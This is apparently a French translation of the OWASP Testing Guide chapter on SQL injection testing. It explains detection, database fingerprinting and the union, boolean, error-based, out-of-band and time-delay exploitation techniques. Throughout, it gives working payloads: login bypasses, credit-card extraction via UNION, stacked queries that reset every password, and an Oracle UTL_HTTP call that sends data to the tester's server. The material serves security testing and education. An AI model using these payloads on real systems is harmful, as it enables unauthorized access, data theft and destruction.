4.8.5 Test d'Injection SQL (OTG-INPVAL-005)

Sommaire
Une attaque par SQL injection consiste en l'insertion ou &quot;injection&quot; d'une requête SQL partielle ou complète via les données entrées ou transmises par le client (navigateur) vers l'application web. Une attaque par injection SQL réussie peut lire des données sensibles depuis une base de données, modifier des données (insert/update/delete), exécuter des opérations d'administration sur la base de données (comme arrêter le SGBD), récupérer le contenu d'un fichier donné depuis le système de fichier du SGBD, écrire un fichier sur ce système, et dans certains cas, envoyer des commandes au système d'exploitation. Les attaques par injection SQL sont un type d'attaque par injection injection attack, dans lequel des commandes SQL sont injectée dans le plan de données pour impacter l'exécution de commandes SQL prédéfinies.

En général, les applications web construisent des requêtes SQL comprenant du code SQL écrit par les programmeurs et des données fournies par les utilisateurs. Par exemple : select title, text from news where id=$id

Dans l'exemple ci-dessus la variable $di contient des données fournies par l'utilisateur, alors que le reste est du code SQL statique fourni par le programmeur ; rendant la requête SQL dynamique.

Du fait de la manière dont la requête SQL est construite, l'utilisateur peut envoyer une entrée essayant de modifier la requête originale pour exécuter d'autres actions choisies par l'utilisateur. L'exemple ci-dessous illustre la valeur fournie par l'utilisateur "10 or 1=1", changeant la logique de la requête SQL en modifiant la clause WHERE en lui ajoutant une condition "or 1=1".

select title, text from news where id=10 or 1=1

Les attaques par injection SQL peuvent être distinguées en trois classes :


 * Inband : les données sont extraites par le même canal que celui utilisé pour injecter le code SQL. C'est le type d'attaque le plus simple, dans lequel les données récupérées sont affichées directement dans la page de l'application web.
 * Out-of-band : les données sont récupérées par un cana différent (par exemple un courriel avec les résultats de la requête est généré et envoyé au testeur).
 * Inférentielle ou Blind : il n'y a pas de transfert de données proprement dit, mais le testeur peut reconstruire l'information en envoyant des requêtes particulières et en observant le comportement du serveur SGBD.

Une attaque par injection SQL réussie requiert que l'attaquant construise une requête SQL syntaxiquement correcte. Si l'application renvoie un message d'erreur généré par une requête incorrecte, il peut alors être plus facile pour l'attaquant de reconstruire la logique de la requête originale et donc de comprendre comment procéder correctement à l'injection. Cependant si l'application masque les détails de l'erreur, l'attaquant devra procéder à une ingénierie inverse de la logique de la requête originale.

Il y a cinq techniques communes pour exploiter des failles d'injections SQL. Ces techniques peuvent être utilisées de manière combinées (par exemple un opérateur unions et out-of-band) :
 * Opérateur union : peut être utilisé quand la faille d'injection SQL advient dans une requête SELECT, rendant possible de combiner deux requêtes dans un seul résultat ou result set.
 * Booléen : utiliser des conditions booléennes pour vérifier que certaines conditions sont vraies ou fausses.
 * Error based : cette technique force la base de données à générer une erreur, donnant à l'attaquant ou au testeur des informations pour affiner son injection.
 * Out-of-band : technique pour récupérer les données en utilisant un autre canal (par exemple faire une connexion HTTP pour envoyer les résultats vers un serveur web).
 * Time delay : utiliser des commandes de la base de données (ex: sleep) pour retarder les réponses dans des requêtes conditionnelles. C'est utile lorsque l'attaquant n'a pas certains types de réponses (résultats, sortie, erreur).

Techniques de détection
La première étape de ce test est de comprendre quand l'application interagit avec un serveur de BD pour accéder à certaines données. Des exemples typiques :


 * formulaire d'authentification : quand une authentification est faite en utilisant un formulaire web, il y a beaucoup de chances que les informations d'authentification de l'utilisateur soient vérifiées sur une base de données contenant tous les identifiants et les mots de passe (ou mieux, les hash des mots de passe).
 * Moteur de recherche : la chaîne fournie par l'utilisateur peut être utilisée dans une requête SQL qui extrait tous les enregistrements requis de la base de données.
 * Sites d'e-commerce : les produits et leurs caractéristiques (prix, description, disponibilité, etc.) sont surement stockés dans une base de données.

Le testeur doit recenser tous les champs d'entrée dont les valeurs sont susceptibles d'être utilisées pour construire des requêtes SQL, y compris les chamsp cachés des requêtes POST, et les tester individuellement, en essayant d'interférer avec la requête et de générer une erreur. Il faut aussi considérer les headers HTTP et les Cookies.

Le tout premier test consiste souvent à ajouter une simple quote (') ou un point-virgule au champ ou paramètre à tester. Le premier est utilisé par SQL comme un délimiteur de chaîne et s'il n'est pas filtré par l'application, va conduire à une requête incorrecte. Le second est utilisé pour terminer une requête. S'il n'est pas filtré il peut aussi générer une erreur. La sortie d'un champ vulnérable peut ressembler à ce qui suit (ici sur Microsoft SQL Server) : Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /target/target.asp, line 113

Les délimiteurs de commentaires (-- ou /* */, etc) et d'autres mots clefs SQL comme 'AND' et 'OR' peuvent aussi être utilisés pour essayer de modifier la requête. Une technique très simple mais souvent efficace est d'insérer une chaîne de caractère dans un champ prévu pour un nombre, générant l'erreur suivante :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int. /target/target.asp, line 113

Il faut surveiller toutes les réponses du serveur web et chercher dans le code source HTML/Javascript. Parfois l'erreur est présente mais n'est pas affichée pour une quelconque raison (erreur javascript, commentaire HTML, etc.). Un message d'erreur complet, comme dans ces exemples, fournit une quantité d'informations au tester pour créer une attaque par injection avec succès. Cependant, les applications ne donnent souvent pas autant de détails : une simple '500 Server Error' ou une page d'erreur spécifique peuvent être renvoyées, signifiant que l'on doit utiliser des techniques d'injection en aveugle. Dans tous les cas, il est très important de tester chaque champ séparément : une seule variable doit changer alors que toutes les autres restent constantes, afin de comprendre précisément quel paramètres sont vulnérables ou pas.

Tests standard d'injection SQL
Exemple 1 (SQL Injection classique) :

Considérons la requête SQL suivante : SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Une application web utilise généralement une requête semblable pour authentifier un utilisateur. Si la requête renvoit une valeur, cela signifie qu'elle contient un utilisateur qui a les mêmes identifiants & mot de passe, donc cet utilisateur est autorisé à se connecter au système, sinon, l'accès est refusé. Ces valeurs sont généralement obtenues de l'utilisateur via un formulaire web. Supposons les identifiant & mot de passe suivant : $username = 1' or '1' = '1

$password = 1' or '1' = '1

La requête sera : SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Si l'on suppose que les valeurs des paramètres sont envoyés vers le serveur avec la méthode GET, et que le domaine du site web vulnérable est www.example.com, la requête que l'on va exécuter sera : http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1

Après une courte analyse, on peut noter que la requête renvoie une valeur (ou un ensemble de valeurs) parce que la condition est toujours vraie (OR 1=1). Donc le système a authentifié l'utilisateur sans en connaître l'identifiant et le mot de passe. ''Dans certains système, la première ligne de la table des utilisateurs est souvent un administrateur. Cela pourrait être le profil retourné dans ertains cas.'' Voyons un autre exemple de requête : SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

Dans ce cas, il y a deux problèmes, l'un dû à l'utilisation de parenthèses et l'autre dû à l'utilisation de la fonction de hash MD5. Avant tout, il faut résoudre le problème des parenthèses. Il suffit d'ajouter un certain nombre de parenthèses fermantes jusqu'à obtenir une requête correcte. Pour résoudre le second problème, on essaie de contourner la seconde condition. On ajoute un symbole de fin à notre requête signifiant qu'un commentaire commence. De cette manière, tout ce qui suit ce symbole est considéré comme commentaire. Chaque SGBD a sa propre syntaxe pour les commentaires, cependant /* est un symbole commun à la grande majorité des bases de données. Sous Oracle, le symbole est &quot;--&quot;. Cela dit, voici les valeur que l'on va passer en identifiant et mot de passe :

$username = 1' or '1' = '1'))/*

$password = foo

Ainsi, nous obtenons la requête suivante :

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) (A cause de l'inclusion d'un délimiteur de commentaire dans la valeur de l'identifiant, la partie mot de passe de la requête sera ignorée.)

L'URL de la requête deviendra donc : http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo

Cette requête peut retourner un certain nombre de valeurs. Parfois le code d'authentification vérifie que le nombre d'enregistrements retournés est exactement égal à 1. Dans les exemples précédents cela pourrait poser des difficultés (en base de données, il y a seulement une valeur par utilisateur). Pour contourner ce problème, il suffit d'insérer une commande SQL imposant que le nombre de résultats retournés soit un (un seul enregistrement retourné). Pour atteindre ce but, on utilise l'opérateur &quot;LIMIT &lt;num&gt;&quot;, où &lt;num&gt; est le nombre de résultats/enregistrements que l'on attend en retour. Les valeurs des champs identifiant et mot de passe deviennent alors :

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

On construit donc la requête ainsi :

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

Exemple 2 (une requête SELECT simple):

Considérons la requête SQL suivante : SELECT * FROM products WHERE id_product=$id_product

Considérons également la requête au script qui exécute la requête précédente :

http://www.example.com/product.php?id=10

Quand le testeur essaie avec une valeur valide (par exemple 10, dans ce cas), l'application va retourner la description d'un produit. Une bonne manière de tester si l'application est vulnérable est de jouer avec la logique, en utilisant les opérateur AND et OR.

Considérons la requête :

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

Dans ce cas, l'application va probablement retourner un message expliquant qu'il n'y a pas de contenu disponible, ou une page blanche. Le testeur peut alors envoyer une requête vraie et vérifier s'il y a un résultat valide : http://www.example.com/product.php?id=10 AND 1=1

Exemple 3 (requêtes empilées):

Selon l'API que l'application web utilise et le SGBD (par exemple PHP + PostgreSQL, ASP+SQL Server), il peut être possible d'exécuter plusieurs requêtes en un seul appel.

Considérons la requête SQL suivante :

SELECT * FROM products WHERE id_product=$id_product

On peut exploiter le scénario ci-dessus comme suit :

http://www.example.com/product.php?id=10; INSERT INTO users (…)

De cette manière il est possible d'exécuter beaucoup de requêtes en une fois, indépendemment de la première requête.

Identifier la base de données
Bien que le langage SQL soit standardisé, chaque SGBD a ses particularités et chacun diffère des autres par de multiples aspects comme les commandes spéciales, les fonctions pour récupérer des données comme les identifiants utilisateurs et les bases de données, les fonctionnalités, les commentaires, etc.

Quand les testeurs passent à des exploitations d'injections SQL plus avancées, ils ont besoin de savoir à quel serveur de base de données ils ont à faire.

1) La première manière de découvrir quel type de base de données est utilisé et d'observer les erreurs retournées par l'application. Voici quelques exemples :

MySql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Oracle: ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string

PostgreSQL: Query failed: ERROR: syntax error at or near &quot;’&quot; at character 56 in /www/site/test.php on line 121.

2) S'il n'y a pas de message d'erreur ou s'il y a un message personnalisé, le testeur peut essayer d'injecter dans un champ texte en utilisant une technique de concaténation :

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’ Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

Techniques d'exploitation par Union
L'opérateur UNION est utilisé dans les injections SQL pour joindre une requête, construite par le testeur, à la requête originale. Le résultat de la requête ajouté sera joint au résultat de la requête originale, permettant au testeur d'obtenir des valeurs de colonnes ou d'autres tables. Supposons pour nos exemples que la requête exécutée par le serveur soit la suivante :

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Nous allons affecter la valeur suivante à $id :

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Nous obtiendrons la requête suivante :

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Qui va joindre au résultat de la requête originale tous les numéros de cartes de crédit de la table CreditCardTable. Le mot clef ALL est nécessaire pour contourner les requêtes utilisant le mot clef DISTINCT. De plus, on peut remarquer qu'en plus des numéros de cartes de crédit, nous avons sélectionné deux veleurs. Ces deux valeurs sont nécessaires car les deux requêtes doivent avoir le même nombre de paramètres/colonnes, pour éviter une erreur de syntaxe.

La première information qu'un testeur doit avoir pour exploiter une vulnérabilité d'injection SQL en utilisant une telle technique est le nombre de colonnes dans la partie SELECT.

Pour obtenir cette information, le testeur peut utiliser la clause ORDER BY suivie par le numéro d'ordre de la colonne choisie :

http://www.example.com/product.php?id=10 ORDER BY 10--

Si la requête est exécutée sans erreur, le testeur peut considérer, dans cet exemple, qu'il y a au moins 10 colonnes dans la partie SELECT. Si la requête échoue, il y a moins de 10 colonnes renvoyées. Si un message d'erreur est disponible, il ressemblera probablement à :

Unknown column '10' in 'order clause'

Après avoir découvert le nombre de colonnes, la prochaine étape est de découvrir le types des colonnes. Si l'ont considère que la requête précédente avait trois colonnes, le testeur peut essayer chaque type de colonne, en s'aidant de la valeur NULL :

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

Si la requête échoue, le testeur verra probablement un message tel que : All cells in a column must have the same datatype Si la requête est exécutée avec succès, la première colonne peut être un entier. Le testeur peut alors continuer :

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

Dans certains cas, une application n'affiche que le premier résultat, en limitant son traitement à la première ligne du result set. Dans ce cas, il est possible d'utiliser une clause LIMIT, ou de donner une valeur invalide, ne rendant que la seconde requête valide. Supposons qu'il n'y ait pas d'entrée en base avec une ID égal à 99999 :

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Technique d'exploitation booléenne
La technique d'exploitation booléenne est très utile en cas d'injection en aveugle Blind SQL Injection, lorsque rien n'est connu du résultat d'une opération. Par exemple, ce comportement survient quand le programmeur a créé une page d'erreur personnalisée qui ne révèle rien de la structure de la requête ou de la base de données. (La page ne retourne pas d'erreur SQL, elle peut ne retourner qu'un code HTTP 500, 404, ou une redirection).

En utilisant une méthode inférentielle, il est possible de contourner cet obstacle pour récupérer les valeurs de certains champs. Cette méthode consiste en une série de requêtes booléennes, en observant les réponses et en déduisant la signification de ces réponses. Considérons comme toujours le domaine www.example.com et supposons qu'il contienne un paramètre nommé ID vulnérable à une injection SQL. Il faut donc exécuter la requête suivante :

http://www.example.com/index.php?id=1'

On obtiendra une page avec un message d'erreur personnalisé, dûe à une erreur de syntaxe dans la requête. Supposons que la requête exécutée sur le serveur soit celle-ci :

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Qui est exploitable avec les méthodes vues précédemment. Ce que l'on cherche à obtenir, ce sont les valeurs du champ username. Les tests que nous allons exécuter vont nous permettre d'obtenir cette valeur, caractère par caractère. Ceci est possible en utilisant des fonctions standards, présentes dans pratiquement toute base de données. Pour nos exemples, nous alons utiliser les pseudo-fonctions suivantes :

SUBSTRING (text, start, length): retourne une sou-chaîne commençant à la position &quot;start&quot; du text et de longueur &quot;length&quot;. Si &quot;start&quot; est plus grand que la longueur du texte, la fonction retourne une valeur null.

ASCII (char): retourne le code ASCII du caractère passé en paramètre, NULL si le caractère est 0.

LENGTH (text): retourne le nombre de caractères du texte passé en paramètre.

Avec ces fonctions, nous allons exécuter nos tests sur le premier caractère, puis le second, etc. Jusqu'à ce que nous ayons découvert la valeur entière. Les tests vont tirer avantage de la fonction SUBSTRING, afin de ne sélectionner qu'un caractère à la fois (en lui passant la longueur 1), et la fonction ASCII pour obtenir lo code ASCII du caractère, pour faire des comparaisons numériques. Ces comparaisons seront effectuées avec toutes les valeurs de la table ASCII, jusqu'à ce que la bonne valeur soit trouvée. Par exemple, nous allons utiliser la valeur suivante pour Id :

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

Cela va créer la requête suivante (que nous appelerons désormais &quot;requête inférentielle&quot; :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

L'exemple précédent retourne un résultat si et seulement si le premier caractère du champ username est égal au code ASCII 97. Si nous obtenons une valeur fausse, alors nous incrémentons l'index de la table ASCII de 97 à 98 et répétons la requête. Si nous obtenons une valeur vraie, nous remettons à zéro l'index de la table ASCII et analysons le prochain caractère, en modifiant les paramètres de la fonction SUBSTRING. Le problème est de comprendre de quelle manière on peut distinguer les tests retournant une valeur vraie de ceux retournant une valeur fausse. Pour cela, nous créons une requête retournant toujours faux. C'est possible en affectant la valeur suivante à Id :

$Id=1' AND '1' = '2

Qui va créer la requête suivante :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

La réponse obtenue (du code HTML) sera la valeur fausse pour nos tests. Cela est suffisant pour vérifier si la valeur obtenue lors de l'exécution de la requête inférentielle est égale ou non à la valeur obtenue lors de ce précédent test. Parfois cette méthode ne fonctionnera pas. Si le serveur retourne deux pages différentes comme résultat de deux requêtes web identiques consécutives, on se saura pas distinguer les valeurs vraies des valeurs fausses. Dans ce cas, il faut utiliser des filtres qui vont permettre d'éliminer le code qui change entre deux requêtes, et ainsi obtenir un modèle. Ensuite, pour chaque requête inférentielle exécutée, on va extraire les modèles de la réponse utilisant la même fonction, et on va contrôler les deux modèles pour décider du résultat du test.

Jusqu'à maintenant, nous n'avons pas traité le problème de la terminaison de nos tests, c'est-à-dire, quand terminer la procédure d'inférence. Une technique pour cela utilise certaines caractéristiques des fonctions SUBSTRING et LENGTH. Quand le test compare le caractère courant avec le code ASCII 0 (donc la valeur null) et que le test retourne la valeur vraie, alors nous en avons terminé avec la procédure d'inférence ou bien la valeur que nous avons analysé contient le caractère null.

Nous allons insérer la valeur suivante dans le champs 'Id' :

$Id=1' AND LENGTH(username)=N AND '1' = '1

Où N est le nombre de caractères que l'on a analysé jusqu'à maintenant (sans compter la valeur null). La requête sera :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

La requête retourne soit vrai soit faux. Si on obtient vrai, alors on a terminé l'inférence, et donc on connaît la valeur du paramètre. Si on obtient faux, cela signifie que le caractère null est présent dans la valeur du paramètre, et on doit continuer à analyser le prochain paramètre jusqu'à trouver la valeur null.

L'injection SQL en aveugle nécessite un grand volume de requêtes. Le testeur va avoir besoin d'un outil automatique pour exploiter la vulnérabilité.

Technique d'exploitation basée sur les erreurs
Une technique d'exploitation basée sur les erreurs est utile quand le testeur ne peut pas exploiter la vulnérabilité d'injection SQL en utilisant d'autres techniques comme UNION. La technique basée sur les erreurs consiste à forcer la base de données à exécuter certaines opérations qui vont produire des erreurs. Le but ici est d'essayer d'extraire des données de la base et de les afficher dans le message d'erreur. Cette technique d'exploitation peut être différente d'un SGBD à un autre (cf la section spécifique au SGBD).

Considérons la requête SQL suivante :

SELECT * FROM products WHERE id_product=$id_product

Considérons aussi la requête au script qui exécute la requête ci-dessus :

http://www.example.com/product.php?id=10

La requête malicieuse serait (sous Oracle 10g) :

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

Dans cet exemple, le testeur concatène la valeur 10 avec le résultat de la fonction UTL_INADDR.GET_HOST_NAME. Cette fonction Oracle va essayer de retourner le nom d'hôte du paramètre qu'on lui passe, qui est une autre requête renvoyant le nom de l'utilisateur. Quand la base de données cherche le nom d'hôte avec le nom de l'utilisateur de la base, elle échoue et retourne un message d'erreur tel que :

ORA-292257: host SCOTT unknown

Le testeur peut alors manipuler le paramètre passé à la fonction GET_HOST_NAME et le résultat sera affiché dans le message d'erreur.

Technique d'exploitation out-of-band
Cette technique est très utile quand le testeur trouve une injection SQL en aveugle Blind SQL Injection, alors que rien n'est connu du résultat d'une opération. La technique consiste à utiliser des fonctions du SGBD pour ouvrir une connection séparée et transférer le résultat de la requête SQL injectée dans une requête vers le serveur du testeur. Comme la technique basée sur les erreurs, chaque SGBD possède ses propres fonctions. Cf la section spécifique aux SGBD.

Considérons la requête SQL suivante :

SELECT * FROM products WHERE id_product=$id_product

Considérons aussi la requête au script qui exécute la requête ci-dessus :

http://www.example.com/product.php?id=10

La requête malicieuse serait :

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--

Dans cet exemple, le testeur concatène la valeur 10 avec le résultat de la fonction UTL_HTTP.request. Cette fonction Oracle va tenter de se connecter à "testserver" et de lui envoyer une requête GET contenant le résultat de la requête “SELECT user FROM DUAL”. Le testeur peut installer un serveur web (par exemple Apache) ou utiliser l'outil netcat :

/home/tester/nc –nLp 80 GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

Technique d'exploitation par délai
La technique d'exploitation par délai est très utile quand le testeur trouve une injection SQL en aveugle Blind SQL Injection, où rien n'est connu du résultat d'une opération. Cette technique consiste à envoyer une requête injectée avec une condition. Si cette condition est vraie, le testeur peut mesurer le temps pris par le serveur pour répondre. S'il y a un délai, le testeur considère que la requête conditionnelle est vraie. Cette technique d'exploitation peut très différente d'un SGBD à un autre (cf la section spécifiques aux SGBD).

Considérons la requête SQL suivante :

SELECT * FROM products WHERE id_product=$id_product

Considérons aussi la requête au script qui exécute la requête ci-dessus :

http://www.example.com/product.php?id=10

La requête malicieuse serait (sous MySQL 5.X) :

http://www.example.com/product.php?id=10 AND IF(version like ‘5%’, sleep(10), ‘false’))--

Dans cet exemple, le testeur vérifie que la version de MySQL est la 5.X ou pas, demandant au serveur d'attendre 10 secondes avant de répondre. Le testeur peut augmenter le délai et mesurer les temps de réponses. Le testeur n'a pas besoin d'attendre la réponse. Parfois il peut affecter une très grand valeur (100, par exemple) et annuler la requête après quelques secondes.

Injection de procédure stockée
Quand elle utilise du code SQL dynamique dans une procédure stockée, l'application doit nettoyer les entrée utilisateur pour éliminer le risque d'injection de code. Sans nettoyage, l'utilisateur peut envoyer du code SQL malicieux qui sera exécuté dans la procédure stockée.

Considérons la Procédure Stockée SQL Server suivante :

Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go

Entrée utilisateur : anyusername or 1=1' anypassword

Cette procédure ne nettoie pas ses entrées, permettant ainsi la valeur de retour de montrer un enregistrement existant avec ces paramètres.

NOTE : Cet exemple peut sembler improbable à cause de l'utilisation de code SQL dynamique pour authentifier un utilisateur, mais considérons une requête dynamique de rapport où l'utilisateur sélectionne les colonnes à visualiser. L'utilisateur pourrait insérer du code malicieux dans ce scénario et compromettre les données.

Considérons la Procédure Stockée SQL Server suivante :

Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go

Entrée utilisateur :

1 from users; update users set password = 'password'; select *

Le résultat sera la mise à jour des mots de passe de tous les utilisateurs.

Exploitation automatisée
La plupart des situations et techniques présentées ici peuvent être automatisées grâce à certains outils. Cet article montre comment le testeur peut procéder à un audit automatisé en utilisant SQLMap :

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

Outils

 * SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
 * OWASP SQLiX
 * Francois Larouche: Multiple DBMS SQL Injection tool - SQL Power Injector
 * ilo--, Reversing.org - sqlbftools
 * Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
 * icesurfer: SQL Server Takeover Tool - sqlninja
 * Pangolin: Automated SQL Injection Tool - Pangolin
 * Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
 * Antonio Parata: Dump Files by SQL inference on Mysql - SqlDumper
 * bsqlbf, a blind SQL injection tool in Perl

Références

 * Top 10 2013-A1-Injection
 * SQL Injection

Des pages du Guide de Test ont été créées pour les SGBD suivants :
 * Oracle
 * MySQL
 * SQL Server

Whitepapers


 * Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
 * Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
 * Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 * David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
 * Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
 * Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 * Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
 * Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf